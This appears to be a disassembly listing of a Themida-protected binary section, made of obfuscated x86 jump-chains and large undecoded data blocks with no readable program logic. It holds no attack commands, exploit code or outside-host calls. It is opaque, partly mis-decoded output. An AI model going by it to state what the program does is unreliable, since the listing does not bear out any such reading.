dd 83EA8103h, 154F955h, 83C281F2h, 0E954F955h, 45E2h, 0BA241489h
dd 14611F2Dh, 1B55E281h, 0F2812509h, 641E166Bh, 8142DAF7h
dd 730AFAC2h, 57BD5503h, 814D362Fh, 73AA45C5h, 5DEA2929h
dd 737AE9h, 2434FF00h, 592434FFh, 4C481h, 0EC830000h, 243C8904h
dd 0EC835F54h, 240C8904h, 6DFD6852h, 0E95A2E3Fh, 778Dh
dd 0FFE4E9E9h, 68772DFFh, 0E95F7DD5h, 3543h
; ---------------------------------------------------------------------------
loc_4F7834: ; CODE XREF: Themida_:004F70D0j
add edi, esi
add edi, 2EA3286Bh
add edi, 531C7D2Ch
pop esi
add edi, 4
xchg edi, [esp]
jmp loc_4FE67E
; ---------------------------------------------------------------------------
loc_4F784E: ; CODE XREF: Themida_:00502230j
push edx
mov edx, 22525A41h
push eax
mov eax, 1AC5B9C7h
add edx, 3D7A32B8h
add edx, eax
sub edx, 3D7A32B8h
pop eax
jmp loc_4FA9B8
; ---------------------------------------------------------------------------
dw 0E6C1h
dd 53B85003h, 4813051Fh, 0DF317635h, 8BC631B8h, 0C4812404h
dd 4, 348BF201h, 4C48124h, 87000000h, 0F5C2414h, 0B7E9C8B7h
dd 8B00005Fh, 0C4812414h, 4, 8B242C87h, 5FE92424h, 5CFFFFE4h
dd 5C24048Fh, 24048B66h, 657EE9h, 241C8B00h, 3257E9h, 240C8700h
dd 66CF885Ch, 2FC9E959h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F78D6: ; CODE XREF: Themida_:004FBCADj
xor ecx, 64F86235h
inc ecx
sub ecx, 46D19405h
mov esi, ecx
jmp loc_4FA713
; ---------------------------------------------------------------------------
dw 8953h
dd 4EC83E3h, 0BF243C89h, 4, 685FFB01h, 891h, 68241489h
dd 4, 2228E95Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F790E: ; CODE XREF: Themida_:004FBF7Cj
xchg ebp, [esp]
not ebp
xchg ebp, [esp]
jmp loc_4FA13A
; ---------------------------------------------------------------------------
db 0ACh
db 30h, 0D8h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_500E96
; ---------------------------------------------------------------------------
dw 0F381h
dd 62FA0EC2h, 34FFDA01h, 0C4835B24h, 25B95104h, 811E5343h
dd 6DE084E9h, 59CA2914h, 0FFE3C9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4F7949: ; CODE XREF: Themida_:004F5F66j
neg edx
inc edx
shl edx, 8
add edx, 1BB64475h
xor eax, edx
jmp loc_4F61C5
; ---------------------------------------------------------------------------
dd 4BDh, 3A992D00h, 0E8296473h, 733A9905h, 2434FF64h, 4C4815Dh
dd 50000000h, 42474FFh, 24048F58h, 38ECE9h
db 0
; ---------------------------------------------------------------------------
loc_4F7985: ; CODE XREF: Themida_:004F7123j
add eax, 2
xor eax, [esp]
jmp loc_4FBBC2
; ---------------------------------------------------------------------------
dw 7BE9h
dd 59FFFFE3h, 0FFEB23E9h, 8BDD30FFh, 0C483241Ch, 0DCB45004h
dd 0CC80DCF6h, 4E4C0FDh, 5146CC80h, 0CDFEA8B5h, 0F580CDFEh
dd 3458E9AFh, 52660000h, 0D00099B2h, 0D0285A66h, 0AD04992Ch
dd 0E8E9515Ah, 0BA00009Dh, 6BCE2994h, 7BDAE9h
db 0
; ---------------------------------------------------------------------------
loc_4F79E1: ; CODE XREF: Themida_:005004BFj
push ecx
mov ecx, esp
push edi
mov edi, 77B95CFCh
shl edi, 5
dec edi
jmp loc_4FFA96
; ---------------------------------------------------------------------------
db 0BBh
dd 0AC2423Bh, 496BF381h, 0EB816C51h, 529CF052h, 0A7E9D829h
dd 8B000004h, 0F1F72424h, 74DAE956h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F7A16: ; CODE XREF: Themida_:004F8269j
sub edi, eax
pop eax
jmp loc_4F8E45
; ---------------------------------------------------------------------------
dw 8B66h
dd 90682404h, 0E900007Dh, 7474h
; ---------------------------------------------------------------------------
loc_4F7A2C: ; CODE XREF: Themida_:004F8E9Bj
push ebp
jmp loc_500392
; ---------------------------------------------------------------------------
dw 0C283h
dd 24148704h, 662AE95Ch, 0B8660000h, 99E95FDCh, 55000048h
dd 2434FF54h, 4C4815Dh, 81000000h, 4C5h, 3B5A6800h, 0C890000h
dd 52565324h, 9A400B68h, 0F2815A1Ah, 70883D68h, 0A8EE281h
dd 0CA813EA1h, 3EFD0495h, 5F31E9h, 81DAF700h, 6C038CC2h
dd 58E4E91Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F7A8E: ; CODE XREF: Themida_:004F5DBDj
mov [esp], ebp
push 9C91759h
jmp loc_4FF363
; ---------------------------------------------------------------------------
aShxm db 'Shxm',0
dd 24048900h, 6BCAE9h, 0F7E95500h, 81000086h, 8830E0F3h
dd 5BDF0146h, 0C781DFF7h, 58C5C115h, 0E95FF801h, 9495h
; ---------------------------------------------------------------------------
loc_4F7AC8: ; CODE XREF: Themida_:005017CBj
add ecx, esi
jmp loc_4F6534
; ---------------------------------------------------------------------------
aVsR db 'Vé\r',0
dd 2434FF00h, 53241C8Bh, 0C381E389h, 4, 8704C383h, 815C241Ch
dd 4C4h, 22BCE900h, 4BB0000h, 1000000h, 2434FFD8h, 0D7E9515Bh
dd 100006Eh, 0E9515BDEh, 0A773h
; ---------------------------------------------------------------------------
loc_4F7B10: ; CODE XREF: Themida_:00500BE3j
add edi, 4
add edi, 4
jmp loc_50164B
; ---------------------------------------------------------------------------
dw 6851h
dd 0F4h, 7543E9h, 0A3E95900h, 6600001Fh, 66C8BE0Fh, 660D6168h
dd 0E9240C89h, 27E7h
; ---------------------------------------------------------------------------
loc_4F7B40: ; CODE XREF: Themida_:00501BD1j
pop ecx
add edi, 0D11FFA04h
add ebp, 39CF54EBh
jmp loc_4FFCBA
; ---------------------------------------------------------------------------
loc_4F7B52: ; CODE XREF: Themida_:004FA6B6j
push edi
mov edi, 7043243Bh
jmp loc_4FC9B0
; ---------------------------------------------------------------------------
loc_4F7B5D: ; CODE XREF: Themida_:00501C1Ej
pop esp
push 751Ah
mov [esp], ebx
jmp loc_4F5DB8
; ---------------------------------------------------------------------------
loc_4F7B6B: ; CODE XREF: Themida_:004F654Fj
xor edi, eax
xor eax, edi
not edi
push edi
mov edi, esp
jmp loc_4F80F3
; ---------------------------------------------------------------------------
db 81h, 0CAh, 94h
dd 81591E00h, 1738DBF2h, 5AD52105h, 6958E9h, 0C80F5C00h
dd 915DE9h, 24148900h, 0C2815A54h, 4, 81E38953h, 4C3h
dd 4EB8100h, 0E9000000h, 640Ch, 24248B66h, 0FFE155E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4F7BBD: ; CODE XREF: Themida_:004FAB35j
mov [esp], eax
push edx
mov edx, 0DD255Fh
push edi
mov edi, 4ADC5431h
mov eax, 83F97F97h
sub eax, edi
pop edi
sub eax, edx
push dword ptr [esp]
pop edx
add esp, 4
push esi
mov esi, 6572125Dh
sub esi, 1D523C56h
shr esi, 1
and esi, 0BD20690h
sub esi, 0ACEB59BEh
jmp loc_4FA4E1
; ---------------------------------------------------------------------------
dd 0FFE111E9h, 8B5456FFh, 0C4812434h, 4, 5C4568h, 240C8900h
dd 4B9h, 0E9CE0100h, 85C8h, 4C48158h, 52000000h, 24148B54h
dd 4C481h, 33E90000h, 0FF000045h, 96E92434h, 87000046h
dd 0C1BD55DEh, 8157EB7Dh, 0C35ED9E5h, 0C1EDD17Ch, 0B95107EDh
dd 1B595081h, 7D6BE181h, 49496EBFh, 1BE98149h, 0E96E612Ch
dd 0FFFFE1D7h, 3B0668h, 241C8900h, 6F632768h, 2434FF04h
dd 0FFE7C8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4F7C81: ; CODE XREF: Themida_:004F99C5j
mov edx, 6C80BA6h
push edi
mov edi, 0BF0970h
xor edx, edi
pop edi
add edx, 64A75171h
xor edx, 16247527h
push ebp
mov ebp, 467D23E9h
sub ebp, 667E6CF1h
xor ebp, 8322CB41h
xor edx, ebp
pop ebp
xor edx, 7C440A4h
sub esi, 15B25F5Ch
add esi, edx
add esi, 15B25F5Ch
pop edx
jmp loc_4F6A01
; ---------------------------------------------------------------------------
dw 0E389h
dd 4C381h, 0EB830000h, 241C8704h, 8F1E95Ch, 0EC830000h
dd 872EE904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F7CE6: ; CODE XREF: Themida_:004FAFB6j
pop edx
jmp loc_4FF926
; ---------------------------------------------------------------------------
dd 5C240487h, 206BE9h, 2FE95900h, 68FFFFF5h, 3958h, 68241C89h
dd 4B9Dh, 81242489h, 42404h, 34FF0000h, 0C4835B24h, 4C38104h
dd 51000000h, 583722B9h, 0B2C1815Bh, 5748244Ah, 0E11AECBFh
dd 6E56E93Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F7D36: ; CODE XREF: Themida_:005005EFj
mov esi, esp
add esi, 4
add esi, 4
jmp loc_4F9289
; ---------------------------------------------------------------------------
db 0FFh, 74h, 24h
dd 241C8B04h, 4C481h, 48F0000h, 24248B24h, 0C8AF0F66h
dd 5A61E9h, 341AB800h, 0C148593Dh, 443506E0h, 814F4D06h
dd 8C66EAC2h, 17EA816Ah, 1071751h, 17C281C2h, 81071751h
dd 8C66EAEAh, 24048B6Ah, 5104C483h, 0FFF529E9h, 243C89FFh
dd 2BFh, 7F102D00h, 0F2E97A81h, 5400004Eh, 4C18159h, 56000000h
dd 2BEh, 0FFF10100h, 348B2434h, 0E6895624h, 0DDCE9h, 0A5BF5700h
dd 896D2D5Ch, 6793E9FDh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F7DD6: ; CODE XREF: Themida_:004F617Ej
mov [esp], edx
mov edx, 6D646A04h
push edx
jmp loc_4F5F39
; ---------------------------------------------------------------------------
dd 4B951h, 0CF010000h, 2C78159h, 52000000h, 3E1BE9h, 58C70100h
dd 5C243C87h, 582434FFh, 1DA568h, 24148900h, 24148B54h
dd 5E08950h, 4, 8704C083h, 815C2404h, 4C2h, 2E256800h
dd 34890000h, 6E0DBE24h, 0CE812A11h, 68C5252h, 8F37E9h
dd 0FAC28100h, 0E92C9B43h, 5FD3h, 8E36C405h, 2DC8011Dh
dd 1D8E36C4h, 3868E959h, 0EE810000h, 33DE76CAh, 7B72CE81h
dd 0EE813D4Eh, 0C712CBA7h, 5D5EF001h, 48BC321h, 806EE924h
dd 8B660000h, 89502404h, 9D36E9E0h, 0EB800000h, 46F3803Dh
dd 6CE9D888h, 0B5000010h, 0C7ED8062h, 0C580E500h, 0D50058C7h
dd 0E92434FFh, 0FFFFE6FBh, 8745D005h, 9DE90Dh, 0C15B0000h
dd 130506E0h, 1532C8Bh, 2434FFC3h, 0E2895258h, 4BE56h
dd 0F2010000h, 4EA835Eh, 0E9241487h, 45A2h, 818DC380h
dd 4ECh, 24148900h, 0C280C6B2h, 0FFD3282Ah, 8DE92434h
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_4F7EF3: ; CODE XREF: Themida_:004FE616j
add ecx, 0C0C221Ah
add eax, ecx
pop ecx
jmp loc_4FE7E9
; ---------------------------------------------------------------------------
loc_4F7F01: ; CODE XREF: Themida_:004FFFF9j
mov [edi+20h], ebp
pop ebp
jmp loc_4F7F69
; ---------------------------------------------------------------------------
dw 0C8Bh
dd 0E2895224h, 4C281h, 0C2810000h, 4, 12E9E9h, 50C18800h
dd 38B8h, 0E9F80100h, 4987h, 81243C89h, 4ECh, 24248900h
dd 4240481h, 5F000000h, 0FFFE9BE9h, 0FEE95AFFh, 2D000051h
dd 58D8383Ch, 0E958C589h, 2F7Fh
; ---------------------------------------------------------------------------
loc_4F7F5C: ; CODE XREF: Themida_:004FEE9Bj
push 1C18h
mov [esp], ebp
jmp loc_4FAE9E
; ---------------------------------------------------------------------------
loc_4F7F69: ; CODE XREF: Themida_:004F7F05j
; Themida_:004FCEFCj ...
push dword ptr [esp]
pop ebx
sub esp, 4
jmp loc_4FF13C
; ---------------------------------------------------------------------------
dd 0E903E0C1h, 511Ch, 4C4835Ah, 0B3E9C328h
db 12h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F7F8B: ; CODE XREF: Themida_:004FC75Cj
pop esp
mov [esp], ecx
push eax
jmp loc_501973
; ---------------------------------------------------------------------------
db 81h, 0EDh, 0D2h
dd 0F70EEE4Dh, 0CD8145D5h, 225C03CDh, 8904EC83h, 47E9241Ch
dd 880000A2h, 43B5E9D0h, 0C2810000h, 6F3C2E53h, 0A367E9h
db 0
; ---------------------------------------------------------------------------
loc_4F7FC1: ; CODE XREF: Themida_:004FD70Aj
xor [esp+4], edi
push dword ptr [esp]
mov edi, [esp]
jmp loc_50104F
; ---------------------------------------------------------------------------
dd 4EC81h, 2C890000h, 3E66BD24h, 0ED814FAAh, 51886882h
dd 0D5E0F581h, 90E9FE21h, 56000013h, 6D3E94BEh, 5EF7895Fh
dd 0E2FEA81h, 0FA293F38h, 0E2FC281h, 3C8B3F38h, 4C48124h
dd 81000000h, 0CE5E48F2h, 0E9D331E4h, 7350h, 4C481h, 0ED810000h
dd 2B001780h, 0D1E9E829h, 31000062h, 0D8295AD3h, 4EC815Bh
dd 89000000h, 6850240Ch, 3AE0514h, 9F9FE958h, 0E9500000h
dd 8F1Bh, 0EFE9D301h, 3000001Dh, 3636E9CFh, 81510000h
dd 10982404h, 2D584F21h, 4F211098h, 81240C8Bh, 4C4h, 6CEFE900h
dd 0D6010000h, 8324148Bh, 0C60104C4h, 48D5B951h, 0AE93D61h
dd 0FF000021h, 0DC7CE932h, 34FFFFFFh, 7FE95824h, 0F7FFFFFAh
dd 0ABCE81DEh, 817A7F5Ch, 26BA4E6h, 0A03CE979h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F80B2: ; CODE XREF: Themida_:004FC032j
push 4D515190h
pop ecx
not ecx
jmp loc_4FBF95
; ---------------------------------------------------------------------------
db 45h
dd 52C7ED81h, 0E829A601h, 26EDE9h
db 0
; ---------------------------------------------------------------------------
loc_4F80CD: ; CODE XREF: Themida_:004F738Cj
mov [esp], eax
jmp loc_500693
; ---------------------------------------------------------------------------
loc_4F80D5: ; CODE XREF: Themida_:004F6272j
mov [esp], ebp
mov ebp, 1
push ebx
push edi
push ebp
sub dword ptr [esp], 33C23EF6h
pop edi
add edi, 33C23EF6h
jmp loc_4FDD63
; ---------------------------------------------------------------------------
loc_4F80F3: ; CODE XREF: Themida_:004F7B74j
add edi, 4
push ecx
push 4
pop ecx
add edi, 47D32E6Eh
sub edi, 38797A86h
sub edi, ecx
add edi, 38797A86h
sub edi, 47D32E6Eh
mov ecx, [esp]
add esp, 4
xchg edi, [esp]
pop esp
mov [esp], eax
push edi
mov eax, [esp]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_4FC447
; ---------------------------------------------------------------------------
db 0C1h, 0EDh, 8
dd 9AD8B951h, 0CD31026Dh, 81240C8Bh, 4C4h, 9A24E900h, 0E9570000h
dd 2ABh, 0EC8356ADh, 241C8904h, 1C0DE9h, 0E9F10900h, 8CC4h
dd 0F0285966h, 0E9D8005Ah, 9FBFh, 43C381h, 0EB814E5Bh
dd 5B585D27h, 0C381C301h, 5B585D27h, 43EB81h, 0BD554E5Bh
dd 34A7653h, 9B97E9h
db 0
; ---------------------------------------------------------------------------
loc_4F819D: ; CODE XREF: Themida_:004FCA65j
mov ebx, esp
add ebx, 4
add ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
jmp loc_4FE1CB
; ---------------------------------------------------------------------------
dw 18BBh
dd 31624FA3h, 0C3015BD8h, 8324048Bh, 0C38104C4h, 2, 0E9241C33h
dd 588Ah, 58240429h, 504E8C1h, 0FFBBEAE0h, 380FE9h, 0C6815C00h
dd 2, 31243433h, 34332434h, 0CD25C24h, 0FE99C24h, 0BBFFFFDBh
dd 2, 710D9105h, 83D8014Eh, 9CE904ECh
db 5Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F8217: ; CODE XREF: Themida_:004FC3DAj
add esi, 4
xchg esi, [esp]
jmp loc_4FEB61
; ---------------------------------------------------------------------------
dw 2C87h
dd 68665C24h, 11E96EABh, 2D000048h, 2CB2B90h, 642BE9h
db 0
; ---------------------------------------------------------------------------
loc_4F8239: ; CODE XREF: Themida_:004FD882j
pop eax
sub edx, edi
jmp loc_4FBD8C
; ---------------------------------------------------------------------------
aBuatugyso? db 'î€tãgYéo?',0
dd 2434FF00h, 0E9240C8Bh, 553Fh
; ---------------------------------------------------------------------------
loc_4F8258: ; CODE XREF: Themida_:004F8F27j
sub edi, 65D52C3Bh
push eax
mov eax, 64C62C8Ah
xor eax, 0A6D580DAh
jmp loc_4F7A16
; ---------------------------------------------------------------------------
dw 0E189h
dd 4B850h, 0C1010000h, 42D8E9h, 0D8285900h, 4D904h, 0E951ED2Ch
dd 3A6h, 0F704E0C1h, 5E880DD8h, 682D6D8Fh, 0E9ECF718h
dd 86E9h, 9AA0F281h, 0EA8180B2h, 2D680666h, 4983EA81h
dd 0EA81258Ch, 4CB30A37h, 314EBD55h, 0D8E95D10h, 1FFFFE4h
dd 0C335BD9h, 240C3124h, 8B240C33h, 21662424h, 0E99C2404h
dd 0FFFFDA36h, 0BE243489h, 6185527Ah, 388AE9h
db 0
; ---------------------------------------------------------------------------
loc_4F82E9: ; CODE XREF: Themida_:00502650j
pop ebp
push edi
mov edi, 0A24AF89Bh
sub ebp, edi
pop edi
mov ebx, ebp
mov ebp, [esp]
add esp, 4
jmp loc_4F8CEF
; ---------------------------------------------------------------------------
aISA db '‰$$é/A',0
align 4
dd 2C04C483h, 0E326826h, 0D3E90000h, 8300008Ch, 0C18104C4h
dd 4, 7270E9h, 5AD03100h, 4E58C689h, 0FFE50CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4F8331: ; CODE XREF: Themida_:004FB449j
and eax, edx
push dword ptr [esp]
pop edx
push 5E9Ah
mov [esp], ebp
jmp loc_50272A
; ---------------------------------------------------------------------------
loc_4F8344: ; CODE XREF: Themida_:004FECC8j
push ebx
mov ebx, 699D39EFh
or ebx, 2CA20ACCh
inc ebx
jmp loc_4FF5AF
; ---------------------------------------------------------------------------
dw 1C87h
aBiibOsj db '$\ë›bÐoé¦',8,0
db 0
; ---------------------------------------------------------------------------
loc_4F8365: ; CODE XREF: Themida_:004F7047j
pop ebp
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_4F93D2
; ---------------------------------------------------------------------------
dw 0F747h
dd 62F781DFh, 5825EC0h, 7DD56877h, 96E9F829h, 83FFFFF4h
dd 0BCE904ECh, 5D00003Bh, 3494E9h, 0D1D3F700h, 35BA52E3h
dd 0E93B6F6Fh, 79A5h, 24048B66h, 48B5450h, 1B9BE924h, 0E9970000h
dd 2ED2h, 0E951C0FEh, 4AFCh, 0D8F6C0FEh, 0E8C0D8F6h, 1B66E905h
dd 815A0000h, 4C2h, 4EA8300h, 5C241487h, 0FFF7A8E9h, 15ED81FFh
dd 0E975577Dh, 0FFFFF4A7h, 8324348Bh, 72E904C4h, 0BF00001Bh
dd 66EB7BD4h, 9980E9h, 0E935B400h, 4163h, 5CCAE95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F841A: ; CODE XREF: Themida_:004F65D8j
jnz loc_4FB6E0
push ebx
push 444Ch
jmp loc_500C35
; ---------------------------------------------------------------------------
loc_4F842B: ; CODE XREF: Themida_:004FE234j
pop ecx
jmp loc_4FDCBD
; ---------------------------------------------------------------------------
db 81h, 0E1h, 0E7h
dd 8151DE12h, 598945E9h, 5E9C1FBh, 7F5BE9h, 5D0F700h, 0B1B7D778h
dd 158C229h, 0C3815AD3h, 2, 0E9241C87h, 8EF6h, 6DA6BB53h
dd 0D929125Fh, 81241C8Bh, 4C4h, 0C1815A00h, 2, 8B240C87h
dd 0F662424h, 9C2404ABh, 0FFD889E9h, 0E9D7F7FFh, 4C74h
dd 67E9E801h, 58000040h, 0B450F300h, 7ECC0AFh, 8008E4C0h
dd 0E32802C4h, 7CE95A58h
db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4F84AF: ; CODE XREF: Themida_:004FA70Ej
xchg ecx, esi
xchg eax, ecx
not eax
jmp loc_4F88FA
; ---------------------------------------------------------------------------
db 0FFh, 77h, 1Ch
dd 6658669Dh, 9C240411h, 0FFD849E9h, 2434FFFFh, 6A7EE958h
dd 0E95C0000h, 428h, 2D58C189h, 34077176h, 8138762Dh, 5E7D2D07h
dd 0C80164D6h, 4D48BA52h, 0C2816C61h, 465F64DDh, 2F0FF281h
dd 7EE96284h, 8B000066h, 0C483240Ch, 4685304h, 5B000000h
dd 517DC181h, 0E9817D2Fh, 40905309h, 0C181D901h, 40905309h
dd 517DE981h, 1C8B7D2Fh, 0E0895024h, 405h, 11F6E900h, 0E9540000h
dd 6F20h, 8324148Bh, 5D6804C4h, 8900004Bh, 67E9241Ch, 80FFFFFCh
dd 42E91FE5h, 0F7000088h, 7E5C1D5h, 60E9DDF7h, 0B0000048h
dd 0E95066D1h, 93B1h, 4BE56h, 74010000h, 0E95E0424h, 0FFFFF0BAh
dd 4C181h, 76E90000h, 100007Dh, 14335BDAh, 24143124h, 7E41E9h
db 0
; ---------------------------------------------------------------------------
loc_4F8599: ; CODE XREF: Themida_:004FA5ADj
mov esi, [esp]
jmp loc_4FBCF1
; ---------------------------------------------------------------------------
aU3cVhu db '-ã3–-Vhî',0Ah,0
align 4
dd offset byte_500EE9
dd 4C48100h, 0E9000000h, 43DCh
; ---------------------------------------------------------------------------
loc_4F85BC: ; CODE XREF: Themida_:004F92A7j
sub ebx, 0F442DD91h
mov ecx, ebx
mov ebx, [esp]
add esp, 4
jmp loc_4FEE0D
; ---------------------------------------------------------------------------
db 89h
dd 0E952241Ch, 71DDh
; ---------------------------------------------------------------------------
loc_4F85D8: ; CODE XREF: Themida_:004FB4A9j
and eax, edi
push dword ptr [esp]
pop edi
push edi
mov edi, esp
push ebx
jmp loc_4FCFF3
; ---------------------------------------------------------------------------
db 0Fh
dd offset dword_4D02F8+68Ch
dd 7BD46800h, 4890000h, 6ACFE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F85FA: ; CODE XREF: Themida_:004F9BA6j
add esi, 4
add esi, 4
push esi
jmp loc_4FA770
; ---------------------------------------------------------------------------
dd 4BF57h, 0F8010000h, 2404875Fh, 2FEB805Ch, 9206E9h
db 0
; ---------------------------------------------------------------------------
loc_4F8621: ; CODE XREF: Themida_:004FAB10j
xchg ebp, [esp]
pop esp
push 640Ah
mov [esp], esi
jmp loc_5015E3
; ---------------------------------------------------------------------------
aRsS1i db 'RS·Éé1I',0
dw 500h
dd 752C460Eh, 0E2DC801h, 5752C46h, 757B1B85h, 0E9240C8Bh
dd 3618h
; ---------------------------------------------------------------------------
loc_4F8654: ; CODE XREF: Themida_:004F97B0j
add ecx, 4
push ebp
jmp loc_5021C3
; ---------------------------------------------------------------------------
dd 5A02F781h, 0F82905EDh, 81243C8Bh, 4C4h, 0E6895600h
dd 0B92BB53h, 0EBC1089Dh, 20C38102h, 1FDD8BDh, 0EE815BDEh
dd 4, 5C243487h, 0BA241489h, 4CC5DEF9h, 2826E951h, 0C1660000h
dd 686604EBh, 89661FB4h, 6650243Ch, 66753668h, 66406658h
dd 66AF8A05h, 6658C789h, 5F66FB01h, 0BBEB8166h, 6652667Fh
dd 0E94EB0BAh, 0FFFFE2A4h, 0CE30A1B6h, 0FBBE959h, 14890000h
dd 0F2F5E924h, 0F028FFFFh, 0E9E8285Ah, 4CFDh
; ---------------------------------------------------------------------------
loc_4F86EC: ; CODE XREF: Themida_:004FC794j
pop ebp
sub esp, 4
mov [esp], ebx
jmp loc_4FE5E4
; ---------------------------------------------------------------------------
dd 0EF7815Dh, 89083DABh, 0DAABE9FEh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4F8706: ; CODE XREF: Themida_:004F9521j
push edi
mov edi, 1C1B7C21h
shr edi, 7
add edi, 75682BB4h
mov edx, edi
pop edi
jmp loc_5014D1
; ---------------------------------------------------------------------------
align 2
dw 2CD8h
dd 0B15153FDh, 6FB45043h, 90E9E788h, 8B000066h, 0D3662424h
dd 0E99C243Ch, 0AC9h, 33B3EA81h, 0D868259Dh, 8900000Dh
dd 2BE9240Ch, 80000095h, 5966D3EBh, 0F570E953h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4F875A: ; CODE XREF: Themida_:004FD3A1j
pop eax
jmp loc_4F707C
; ---------------------------------------------------------------------------
dd 8831B151h, 240C8BC8h, 4C481h, 0C1080000h, 69B5E9h, 41EB8100h
dd 1441468h, 41C381C3h, 81441468h, 3071E1C3h, 1605684Eh
dd 3C890000h, 0DCDFE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4F8796: ; CODE XREF: Themida_:004FF2F4j
pop ecx
push ebx
jmp loc_4FF305
; ---------------------------------------------------------------------------
loc_4F879D: ; CODE XREF: Themida_:004FF6D6j
pop eax
add esp, 4
jmp loc_4FB4C9
; ---------------------------------------------------------------------------
db 0E9h, 64h, 0D5h
dd 8951FFFFh, 0D1BF57E1h, 6845AA6Ah, 0
dd offset dword_49C85C+68Dh
dd 0ADC28100h, 29B24450h, 0D8015AD0h, 0A62EA205h, 60970547h
dd 51557A25h, 5843D368h, 3EE95924h, 0AD00001Fh, 207F83h
dd 3C07840Fh, 0C6810000h, 8D739AAh, 4EC81h, 4890000h, 4122E924h
dd 14890000h, 43685324h, 8900007Bh, 58542404h, 405h, 0E4E0E900h
dd 0BF57FFFFh, 63D02331h, 19E9DFF7h, 0B8000005h, 68B955D1h
dd 46AA33BDh, 0E9C50197h, 2941h, 0B15B9935h, 5B672D38h
dd 833539B0h, 48719552h, 0D079D22Dh, 0E9C301F4h, 12AFh
dd 0C09CB252h, 0D2F605EAh, 8003E2C0h, 0D7882BEAh, 28BF045Ah
dd 66BF2CF8h, 0F150E95Bh, 3C89FFFFh, 2BF24h, 0FB290000h
dd 5F2434FFh, 4C481h, 1C330000h, 241C3124h, 6D8E9h, 71CF8100h
dd 810F5B20h, 0A34331C7h, 0F7814F50h, 0B7295E0Bh, 3858E9h
dd 2DEE8000h, 5266C6FEh, 1244C86h, 4C86D1F6h, 5A660124h
dd 0E99CEE80h, 8AC8h, 4C181h, 0C1810000h, 4, 0E9240C87h
dd 0FFFFEFDBh, 81242C8Bh, 4C4h, 0E9D30100h, 50F5h, 3E14900Dh
dd 3DB7E905h, 0DF890000h, 0D58AE95Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4F88FA: ; CODE XREF: Themida_:004F84B4j
xchg eax, ecx
jmp loc_4FF7DD
; ---------------------------------------------------------------------------
dd 8B240489h, 8957240Ch, 0DB92E9E7h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4F890E: ; CODE XREF: Themida_:004FA002j
add ebp, 7B6F5C5Fh
add ebp, edx
sub ebp, 7B6F5C5Fh
jmp loc_4F8AD6
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 0FFF06EE9h, 240C31FFh, 8B240C33h, 61682424h, 89000026h
dd 0E589242Ch, 4C581h, 5E90000h, 6600007Ch, 663E5E68h
dd 0E9240489h, 0FFFFD3BEh
; ---------------------------------------------------------------------------
loc_4F8954: ; CODE XREF: Themida_:004FCF32j
push ebp
mov ebp, 4D021DBEh
and ebp, 19CE7C77h
dec ebp
jmp loc_4FE4C1
; ---------------------------------------------------------------------------
dw 0CF89h
dd 595FFD89h, 0E957DDF7h, 0FFFFDDA8h
; ---------------------------------------------------------------------------
loc_4F8974: ; CODE XREF: Themida_:00500C4Cj
push ecx
mov ecx, 27251546h
shr ecx, 5
jmp loc_4F8FEB
; ---------------------------------------------------------------------------
loc_4F8982: ; CODE XREF: Themida_:004FC9F1j
and eax, ebp
mov ebp, [esp]
add esp, 4
or edx, eax
shl edx, 1
push edx
mov edx, 78D819C3h
sub esp, 4
mov [esp], ecx
mov ecx, 2A045B61h
shr ecx, 6
jmp loc_4F70B4
; ---------------------------------------------------------------------------
dd offset byte_55C781
dw 6F83h
dd 0C0B60F58h, 818734FFh, 4ECh, 24348900h, 0C81170BEh
dd 0FFEE8310h, 6731E9h, 242C3100h, 5489E9h
db 0
; ---------------------------------------------------------------------------
loc_4F89D5: ; CODE XREF: Themida_:004F6D76j
push 2F9E4300h
pop edx
push 0
sub [esp], edx
pop edx
push ecx
mov ecx, 44741853h
or ecx, 55163F33h
shl ecx, 5
sub ecx, 75364CF6h
push ecx
not dword ptr [esp]
pop ecx
jmp loc_4F9225
; ---------------------------------------------------------------------------
db 57h
dd 1077DCBFh, 0D6EF8117h, 0E931875Eh, 0FFFFFA75h
; ---------------------------------------------------------------------------
loc_4F8A14: ; CODE XREF: Themida_:004FDB36j
xor [esp], esi
jmp loc_4FA50C
; ---------------------------------------------------------------------------
dd 5724348Bh, 0C781E789h, 4, 8704C783h, 248B243Ch, 0C3815B24h
dd 4, 2BE56h, 0F3010000h, 241C335Eh, 33241C31h, 0E95C241Ch
dd 342h, 47882D66h, 5A2434FFh, 4C481h, 1660000h, 15B6E9D8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F8A66: ; CODE XREF: Themida_:004FBD27j
pop esp
sub esp, 4
jmp loc_5023CE
; ---------------------------------------------------------------------------
dw 8158h
dd 0CD1A34EEh, 52C6014Fh, 2531EEBAh, 8EAC112h, 81DCE951h
dd 68500000h, 2376h, 0E9242489h, 6447h, 6A563CB8h, 74290533h
